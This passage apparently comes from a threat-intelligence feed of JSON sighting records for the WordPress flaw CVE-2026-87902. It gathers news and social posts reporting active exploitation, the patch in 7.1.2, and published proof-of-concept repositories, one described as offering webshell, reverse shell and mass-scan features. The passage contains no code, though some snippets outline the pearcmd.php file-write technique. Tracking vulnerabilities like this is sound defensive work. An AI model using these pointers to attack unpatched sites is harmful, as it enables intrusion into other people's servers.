"record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "c2d0b9a2-c3d3-4f4d-a799-4929a256def5", "content": "Hackers are exploiting CVE-2026-87902 in WordPress, using a path traversal flaw to write PHP files and enable remote code execution. WordPress 7.1.2 fixes the issue. #WordPress #CVE202687902 #Patchstack", "url": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mw7gge4skt26"}, {"timestamp": "2026-09-23T19:22:52.539Z", "date_only": false, "value": "2026-09-23T19:22:52.539243Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/thecircuitry.to/post/3mw7hogd5yb2n", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "dea177b2-57f2-4db7-8e61-488b841b04c4", "content": "Threat actors have begun exploiting CVE-2026-87902 in WordPress, writing files to disk that run shell commands when accessed.", "url": "https://bsky.app/profile/thecircuitry.to/post/3mw7hogd5yb2n"}, {"timestamp": "2026-09-23T19:26:23.984Z", "date_only": false, "value": "2026-09-23T19:26:23.984381Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mw7huqjb4t2l", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "c694247a-e1e7-4c0f-89a1-a6968c71231c", "content": "\ud83e\udd16 CVE-2026-87902: critical WordPress flaw now actively exploited \u2014 attackers write files to disk that execute shell commands when accessed. Patch now.\n\nhttps://www.bleepingcomputer.com/news/security/hackers-start-exploiting-critical-wordpress-flaw-for-code-execution/", "url": "https://bsky.app/profile/newssecia.bsky.social/post/3mw7huqjb4t2l"}, {"timestamp": "2026-09-23T19:44:18Z", "date_only": false, "value": "2026-09-23T19:44:18.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/BleepingComputer/25634", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "64013ec4-baeb-4260-a2ec-9110e4d5449d", "content": "\u200aHackers start exploiting critical WordPress flaw for code execution\n\nThreat actors have moved from probing WordPress sites vulnerable to CVE-2026-87902 to exploiting the flaw to write files to disk that execute shell commands when accessed. [...]\n\nhttps://www.bleepingcomputer.com/news/security/hackers-start-exploiting-critical-wordpress-flaw-for-code-execution/", "url": "https://t.me/BleepingComputer/25634"}, {"timestamp": "2026-09-23T20:00:08Z", "date_only": false, "value": "2026-09-23T20:00:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103171", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "7fc6667a-efa4-4695-97a5-b976bedc5599", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902-Toolkit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a tc4dy\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-23 19:55:00\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-87902 \u2013 WordPress Core LFI\u2192RCE Toolkit (CVSS 9.2) - Red/Blue Team suite for WordPress 4.7\u20137.1.1. \ud83d\udee0\ufe0f 2 tools: Full Exploit (LFI, PEAR RCE, admin create, webshell, reverse shell, loot, mass scan, stealth) & SafeChecker (version detect, risk audit, JSON report). \ud83d\udd28 Use Ethically & Authorized Enviorement, Stay Legal  <3\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103171"}, {"timestamp": "2026-09-23T20:00:08Z", "date_only": false, "value": "2026-09-23T20:00:08.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/103171", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "75a4ae5d-3e6e-49c2-9d8e-c06a70009a0b", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902-Toolkit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a tc4dy\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-23 19:55:00\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-87902 \u2013 WordPress Core LFI\u2192RCE Toolkit (CVSS 9.2) - Red/Blue Team suite for WordPress 4.7\u20137.1.1. \ud83d\udee0\ufe0f 2 tools: Full Exploit (LFI, PEAR RCE, admin create, webshell, reverse shell, loot, mass scan, stealth) & SafeChecker (version detect, risk audit, JSON report). \ud83d\udd28 Use Ethically & Authorized Enviorement, Stay Legal  <3\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103171"}, {"timestamp": "2026-09-23T22:00:07Z", "date_only": false, "value": "2026-09-23T22:00:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103174", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "4e36912a-dbb4-48e8-bff1-0c76703e1408", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Lutfifakee-Project\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-23 21:08:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-87902 PoC \u2014 WordPress Core Pre-Auth Path Traversal \u2192 LFI \u2192 RCE\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103174"}, {"timestamp": "2026-09-23T22:00:07Z", "date_only": false, "value": "2026-09-23T22:00:07.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/103174", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "685ca5f6-aa61-4c35-85f1-2d0f5d7e747f", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-87902\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Lutfifakee-Project\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-23 21:08:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-87902 PoC \u2014 WordPress Core Pre-Auth Path Traversal \u2192 LFI \u2192 RCE\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103174"}, {"timestamp": "2026-09-23T22:00:43.051Z", "date_only": false, "value": "2026-09-23T22:00:43.051895Z", "kind": "sighting", "label": "Seen", "source": "https://www.bleepingcomputer.com/news/security/hackers-start-exploiting-critical-wordpress-flaw-for-code-execution/", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "c1bfb5ec-1625-4d16-8e2b-4ea3e721eaeb", "content": "Threat actors have moved from probing WordPress sites vulnerable to CVE-2026-87902 to exploiting the flaw to write files to disk that execute shell commands when accessed. [...]", "url": "https://www.bleepingcomputer.com/news/security/hackers-start-exploiting-critical-wordpress-flaw-for-code-execution/"}, {"timestamp": "2026-09-23T23:00:07Z", "date_only": false, "value": "2026-09-23T23:00:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103178", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "1963e351-d447-443b-92bd-1aa290948930", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wordpress-cve-2026-87902\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a nextco\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-23 22:47:43\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUseless POC conditional for Wordpress\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103178"}, {"timestamp": "2026-09-23T23:00:07Z", "date_only": false, "value": "2026-09-23T23:00:07.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/103178", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "265a59a7-2561-4642-998e-4ca72a4ddd6f", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wordpress-cve-2026-87902\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a nextco\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-23 22:47:43\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUseless POC conditional for Wordpress\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103178"}, {"timestamp": "2026-09-23T23:00:17Z", "date_only": false, "value": "2026-09-23T23:00:17.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/dMBzDHSony88KAopCFhMsXWHQ-cICWeiyHEm3JH2d8-A8Yk", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "e6fcc5cc-aa66-432e-8299-51c408d55ca4"}, {"timestamp": "2026-09-23T23:00:17Z", "date_only": false, "value": "2026-09-23T23:00:17.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/dMBzDHSony88KAopCFhMsXWHQ-cICWeiyHEm3JH2d8-A8Yk", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "f3e1f0ad-5cff-40cb-9ee0-e457312f23de"}, {"timestamp": "2026-09-23T23:00:37Z", "date_only": false, "value": "2026-09-23T23:00:37.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/VulnerabilityNews/44555", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "19144415-2d9f-4fda-a6d2-bc9ddcff056e", "content": "Hackers start exploiting critical WordPress flaw for code execution\n\nThreat actors have moved from probing WordPress sites vulnerable to CVE-2026-87902 to exploiting the flaw to write files to disk that execute shell commands when accessed. [...]\nhttps://www.bleepingcomputer.com/news/security/hackers-start-exploiting-critical-wordpress-flaw-for-code-execution/", "url": "https://t.me/VulnerabilityNews/44555"}, {"timestamp": "2026-09-23T23:25:56.109Z", "date_only": false, "value": "2026-09-23T23:25:56.109141Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/projectdiscovery.bsky.social/post/3mw7vb2aho22f", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "21d3bb1f-c3c3-445a-b6e8-6aef16b0d6a0", "content": "\ud83d\udea8 CVE-2026-87902: WordPress remote code execution. Discover every WordPress site you run and see which ones are exploitable.\n\nTry for free with Neo: neo.projectdiscovery.io/sign-up?utm_...\n\n\"Find my WordPress sites and test them for CVE-2026-87902. Ask me for my domains, CIDRs, or ASNs.\"", "url": "https://bsky.app/profile/projectdiscovery.bsky.social/post/3mw7vb2aho22f"}, {"timestamp": "2026-09-24T00:24:33.225Z", "date_only": false, "value": "2026-09-24T00:24:33.225905Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mw7yjuuglv2c", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "a9bf4bf7-f1d5-41d1-8ed2-13cc4205d26d", "content": "CVE-2026-87902: Attackers Started Probing WordPress Sites Hours After the Patch", "url": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mw7yjuuglv2c"}, {"timestamp": "2026-09-24T00:53:09.682Z", "date_only": false, "value": "2026-09-24T00:53:09.682653Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/news.hada.io/post/3mwa24z64pk2r", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "29c66cc8-566d-4ea2-85ff-9c5b21ab3766", "content": "WordPress, \ub85c\uadf8\uc778 \uc5c6\uc774 \uc6d0\uaca9 \ucf54\ub4dc \uc2e4\ud589 \uac00\ub2a5\ud55c \ucde8\uc57d\uc810 \uc218\uc815\n\n\ud14c\ub9c8 \ubc16\uc758 PHP \ud30c\uc77c\uc744 \ubd88\ub7ec\uc62c \uc218 \uc788\ub294 \uacbd\ub85c \uac80\uc99d \ubb38\uc81c\ub85c, \ud2b9\uc815 \ud14c\ub9c8\uc640 \uc11c\ubc84 \uc870\uac74\uc774 \ub9de\uc73c\uba74 \uc778\uc99d \uc5c6\uc774 \uc545\uc6a9\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4. CVE-2026-87902, \uc2ec\uac01\ub3c4 9.2 Critical\uc774\uba70 7.1.2\uc5d0\uc11c \uc218\uc815\ub410\uc2b5\ub2c8\ub2e4. 4.7 \uacc4\uc5f4\uae4c\uc9c0 \ud328\uce58\uac00 \uc81c\uacf5\ub429\ub2c8\ub2e4.", "url": "https://bsky.app/profile/news.hada.io/post/3mwa24z64pk2r"}, {"timestamp": "2026-09-24T02:13:34.937Z", "date_only": false, "value": "2026-09-24T02:13:34.937774Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberkendra.com/post/3mwa6mp3zsk25", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "be6a10de-280f-4a7a-9c01-200404d2aa89", "content": "WordPress 7.1.2 fixes CVE-2026-87902, a critical no-login file inclusion flaw in core that can lead to code execution on some servers.\nwww.cyberkendra.com/2026/09/cve-...\n\n#wordpress #webdev #security", "url": "https://bsky.app/profile/cyberkendra.com/post/3mwa6mp3zsk25"}, {"timestamp": "2026-09-24T02:55:16.919Z", "date_only": false, "value": "2026-09-24T02:55:16.919592Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mwaaxflra42e", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "ec4dfe10-b633-43e6-8dda-5dbe0dfcc1b4", "content": "Exploited WordPress RCE Vulnerability: PoC Released for CVE-2026-87902\uff08\u5b9f\u60aa\u7528\u3055\u308c\u308bWordPress\u306e\u91cd\u5927\u306aRCE\u8106\u5f31\u6027\u3001PoC\u3082\u516c\u958b\uff09 #SecurityOnline (Sep 24)\n\nsecurityonline.info/exploited-wo...", "url": "https://bsky.app/profile/kitafox.bsky.social/post/3mwaaxflra42e"}, {"timestamp": "2026-09-24T03:00:06Z", "date_only": false, "value": "2026-09-24T03:00:06.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/casOb_urBwXkBUZvllR9Y1soseAr2u2g5tENUUxRQxBEAPw", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "794ee40b-240b-4482-b1d1-ea47110b0efb"}, {"timestamp": "2026-09-24T03:17:43.475Z", "date_only": false, "value": "2026-09-24T03:17:43.475113Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mwac7jglow2z", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "123ef7c3-65bf-4242-a153-12d213e6c494", "content": "WordPress RCE Vulnerability CVE-2026-87902: Critical Unauthenticated Flaw Exploited in the Wild\uff08WordPress\u306e\u91cd\u5927\u306a\u8a8d\u8a3c\u4e0d\u8981RCE\u8106\u5f31\u6027\u3001\u516c\u958b\u76f4\u5f8c\u304b\u3089\u653b\u6483\u3092\u89b3\u6e2c\uff09 #SecurityOnline (Sep 23)\n\nsecurityonline.info/wordpress-rc...", "url": "https://bsky.app/profile/kitafox.bsky.social/post/3mwac7jglow2z"}, {"timestamp": "2026-09-24T03:27:15.079Z", "date_only": false, "value": "2026-09-24T03:27:15.079925Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mwacqkpmmk2d", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "b86921a4-e215-4a3a-9d24-d89e4f10edb1", "content": "CVE-2026-87902: how close is your WordPress to remote code execution?\n\nWordPress 7.1.2 fixes an unauthenticated file inclusion bug active since version 4.7, patchable but exploitable into remote code execution. WordPress 7.1.2 shipped on September 22 address an unauthenticated loc\u2026\n#hackernews #news", "url": "https://bsky.app/profile/hacker.at.thenote.app/post/3mwacqkpmmk2d"}, {"timestamp": "2026-09-24T03:30:00Z", "date_only": false, "value": "2026-09-24T03:30:00.000000Z", "kind": "sighting", "label": "Seen", "source": "https://www.ncsc.nl/alerts/kwetsbaarheid-in-wordpress-wordt-actief-misbruikt-update-nu", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "c558fa42-fc44-4241-807d-6a8a72241b95", "url": "https://www.ncsc.nl/alerts/kwetsbaarheid-in-wordpress-wordt-actief-misbruikt-update-nu"}, {"timestamp": "2026-09-24T03:36:18Z", "date_only": false, "value": "2026-09-24T03:36:18.000000Z", "kind": "sighting", "label": "Seen", "source": "https://thehackernews.com/2026/09/attackers-exploit-wordpress-cve-2026.html", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "a6764e13-1869-40a7-8c4c-bee6d1d23b69", "content": "Threat actors have begun to actively exploit a critical security flaw in WordPress within hours of public disclosure.\n\nThe vulnerability in question is CVE-2026-87902 (CVSS score: 9.2), which could allow an unauthenticated attacker to obtain remote code execution (RCE).\n\n\"An unauthenticated attacker can make get_page_template() page-template resolution include a chosen readable local .php file", "url": "https://thehackernews.com/2026/09/attackers-exploit-wordpress-cve-2026.html"}, {"timestamp": "2026-09-24T04:05:07.431Z", "date_only": false, "value": "2026-09-24T04:05:07.431196Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mwaeubmwm62y", "record": "cve-2026-87902", "field": "creation_timestamp", "uuid": "e90b2bdd-f484-417b-b03a-28cb8c79523a", "content": "\ud83d\udcf0 CVE-2026-87902 Mulai Dieksploitasi, Hacker Targetkan WordPress untuk Eksekusi Kode\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/09/24/cve-2026-87902-wordpress-rce/\n\n#cpanel #cve #cybersecurity #php #rce #remoteCodeExecution #vulnerability #webSecurity #wordpress #wordpressSecu", "url": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mwaeubmwm62y"}, {"timestamp": "2026-09-24T04:45:01.756Z", "date_only": false, "value": "2026-09-24T04:45:01.756957Z", "kind": "sighting", "label": "Seen", "source": "https://www.hkcert.org/security-bulletin/wordpress-remote-code-execution-vulnerability_20260924", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "77d272c2-6c5d-4c6a-be20-0802b075f19d", "url": "https://www.hkcert.org/security-bulletin/wordpress-remote-code-execution-vulnerability_20260924"}, {"timestamp": "2026-09-24T05:12:26Z", "date_only": false, "value": "2026-09-24T05:12:26.000000Z", "kind": "sighting", "label": "Seen", "source": "https://www.securityweek.com/critical-wordpress-vulnerability-exploited-immediately-after-disclosure/", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "9db02cf4-0a7c-43e5-9fb6-2158af9cc77f", "content": "Tracked as CVE-2026-87902, the path traversal flaw allows remote, unauthenticated attackers to execute arbitrary code.\n\nThe post Critical WordPress Vulnerability Exploited Immediately After Disclosure appeared first on SecurityWeek.", "url": "https://www.securityweek.com/critical-wordpress-vulnerability-exploited-immediately-after-disclosure/"}, {"timestamp": "2026-09-24T05:35:47.870Z", "date_only": false, "value": "2026-09-24T05:35:47.870134Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mwajwg4rqc2r", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "01dfa8a4-8177-4693-8c49-ff8fca5a1111", "content": "\ud83e\udd16 CVE-2026-87902: critical WordPress flaw actively exploited. Attackers write files to disk that execute shell commands on access \u2014 patch and audit webroots for webshells.\n\nhttps://www.bleepingcomputer.com/news/security/hackers-start-exploiting-critical-wordpress-flaw-for-code-execution/", "url": "https://bsky.app/profile/newssecia.bsky.social/post/3mwajwg4rqc2r"}, {"timestamp": "2026-09-24T05:40:43.828Z", "date_only": false, "value": "2026-09-24T05:40:43.828114Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/abijita.bsky.social/post/3mwak77jepq2n", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "363353d0-f8a3-4aa5-8861-39a2bfd83585", "content": "Hackers Exploit Critical WordPress Flaw for Code\u00a0Execution\n\nHackers are actively exploiting CVE-2026-87902, a critical WordPress flaw that can allow attackers to write malicious files and execute shell commands.", "url": "https://bsky.app/profile/abijita.bsky.social/post/3mwak77jepq2n"}, {"timestamp": "2026-09-24T05:57:05Z", "date_only": false, "value": "2026-09-24T05:57:05.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/thehackernews/10148", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "e698a0ee-13c2-4842-bd3d-2c04fd9c0654", "content": "\u26a1 Attackers are exploiting WordPress CVE-2026-87902 within hours of disclosure.\n\nThe attacks use pearcmd.php to write attacker-controlled PHP files to disk, but only when specific theme and server conditions are met.\n\n\ud83d\udd17 How the exploit works \u2192 https://thehackernews.com/2026/09/attackers-exploit-wordpress-cve-2026.html", "url": "https://t.me/thehackernews/10148"}, {"timestamp": "2026-09-24T06:26:11Z", "date_only": false, "value": "2026-09-24T06:26:11.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/CyberDispatch/3064", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "1d007e89-308d-4c53-af43-21ebdd44b592", "content": "Attackers are exploiting WordPress CVE-2026-87902 within hours of disclosure.\n\nThe attacks use pearcmd.php to write attacker-controlled PHP files to disk, but only when specific theme and server conditions are met.", "url": "https://t.me/CyberDispatch/3064"}, {"timestamp": "2026-09-24T06:26:11Z", "date_only": false, "value": "2026-09-24T06:26:11.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CyberDispatch/3064", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "52624b05-3196-4752-8eab-e6e691b0b251", "content": "Attackers are exploiting WordPress CVE-2026-87902 within hours of disclosure.\n\nThe attacks use pearcmd.php to write attacker-controlled PHP files to disk, but only when specific theme and server conditions are met.", "url": "https://t.me/CyberDispatch/3064"}, {"timestamp": "2026-09-24T06:27:03Z", "date_only": false, "value": "2026-09-24T06:27:03.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CyberDispatch/3074", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "224a926f-b627-4098-b3dd-41fbbe1ed2df", "content": "WordPress issues patch a new critical flaw (CVE-2026-87902) that requires no account and can lead to code execution on some servers.\n\nVersions 4.7.0 through 7.1.1 are affected.", "url": "https://t.me/CyberDispatch/3074"}, {"timestamp": "2026-09-24T06:41:57.630Z", "date_only": false, "value": "2026-09-24T06:41:57.630290Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mwanmp5ywy2a", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "35253ad2-7502-4ff0-96e4-10a040751039", "content": "Top 3 CVE for last 7 days:\nCVE-2026-86296: 25 interactions\nCVE-2026-7273: 20 interactions\nCVE-2026-58704: 17 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-94127: 10 interactions\nCVE-2026-69836: 7 interactions\nCVE-2026-87902: 7 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mwanmp5ywy2a"}, {"timestamp": "2026-09-24T07:26:25.888Z", "date_only": false, "value": "2026-09-24T07:26:25.888072Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mwaq4afbjg2c", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "aace7490-3cd0-4689-8a8b-6e8b79d47baa", "content": "CVE-2026-87902 enables unauthenticated path traversal leading to remote code execution in affected WordPress setups.\n", "url": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mwaq4afbjg2c"}, {"timestamp": "2026-09-24T07:26:30.950Z", "date_only": false, "value": "2026-09-24T07:26:30.950431Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/privpros.bsky.social/post/3mwaq4f7kqz2n", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "58cb814c-92ad-4364-a72e-1b413ce22e6d", "content": "CVE-2026-87902 enables unauthenticated path traversal leading to remote code execution in affected WordPress setups.\n", "url": "https://bsky.app/profile/privpros.bsky.social/post/3mwaq4f7kqz2n"}, {"timestamp": "2026-09-24T07:26:40.149Z", "date_only": false, "value": "2026-09-24T07:26:40.149276Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mwaq4o5kqp2x", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "d194755c-81eb-44c5-b8bd-40f2e8b4b4a6", "content": "WordPress\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u3001\u516c\u958b\u76f4\u5f8c\u306b\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u308b\n\n\u516c\u958b\u3055\u308c\u305f\u3070\u304b\u308a\u306eWordPress\u306e\u8106\u5f31\u6027\u304c\u516c\u958b\u304b\u3089\u6570\u6642\u9593\u4ee5\u5185\u306b\u60aa\u7528\u3055\u308c\u59cb\u3081\u3001\u3059\u3067\u306b\u5b9f\u969b\u306e\u4fb5\u5bb3\u306b\u307e\u3067\u767a\u5c55\u3057\u3066\u3044\u308b\u3068\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4f01\u696dPatchstack\u304c\u8b66\u544a\u3057\u3066\u3044\u307e\u3059\u3002 CVE-2026-87902\uff08CVSS\u30b9\u30b3\u30a29.2)\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u3053\u306e\u8106\u5f31\u6027\u306f\u3001WordPress\u306e\u30da\u30fc\u30b8\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u89e3\u6c7a\u51e6\u7406\u306b\u5b58\u5728\u3059\u308b\u30d1", "url": "https://bsky.app/profile/blackhatnews.tokyo/post/3mwaq4o5kqp2x"}, {"timestamp": "2026-09-24T08:14:25.038Z", "date_only": false, "value": "2026-09-24T08:14:25.038254Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/2k115.bsky.social/post/3mwass2m3is2l", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "1d20e33e-93ee-4084-9e8d-3f6459321e18", "content": "CVE-2026-87902: an unauthenticated file inclusion flaw in WordPress core (4.7.0\u20137.1.1), patched in 7.1.2. It can lead to RCE under specific server configurations. Active exploitation attempts began hours after the fix.", "url": "https://bsky.app/profile/2k115.bsky.social/post/3mwass2m3is2l"}, {"timestamp": "2026-09-24T08:24:13Z", "date_only": false, "value": "2026-09-24T08:24:13.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/ctinow/257311", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "977c644a-bfed-479e-b6de-fe5db46ed85a", "content": "Attackers Exploit WordPress CVE-2026-87902 Within Hours of Disclosure\nhttps://ift.tt/OcElxV6", "url": "https://t.me/ctinow/257311"}, {"timestamp": "2026-09-24T08:24:13Z", "date_only": false, "value": "2026-09-24T08:24:13.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ctinow/257311", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "ef49cd61-7a42-47ff-9e49-fcf12e8d07e7", "content": "Attackers Exploit WordPress 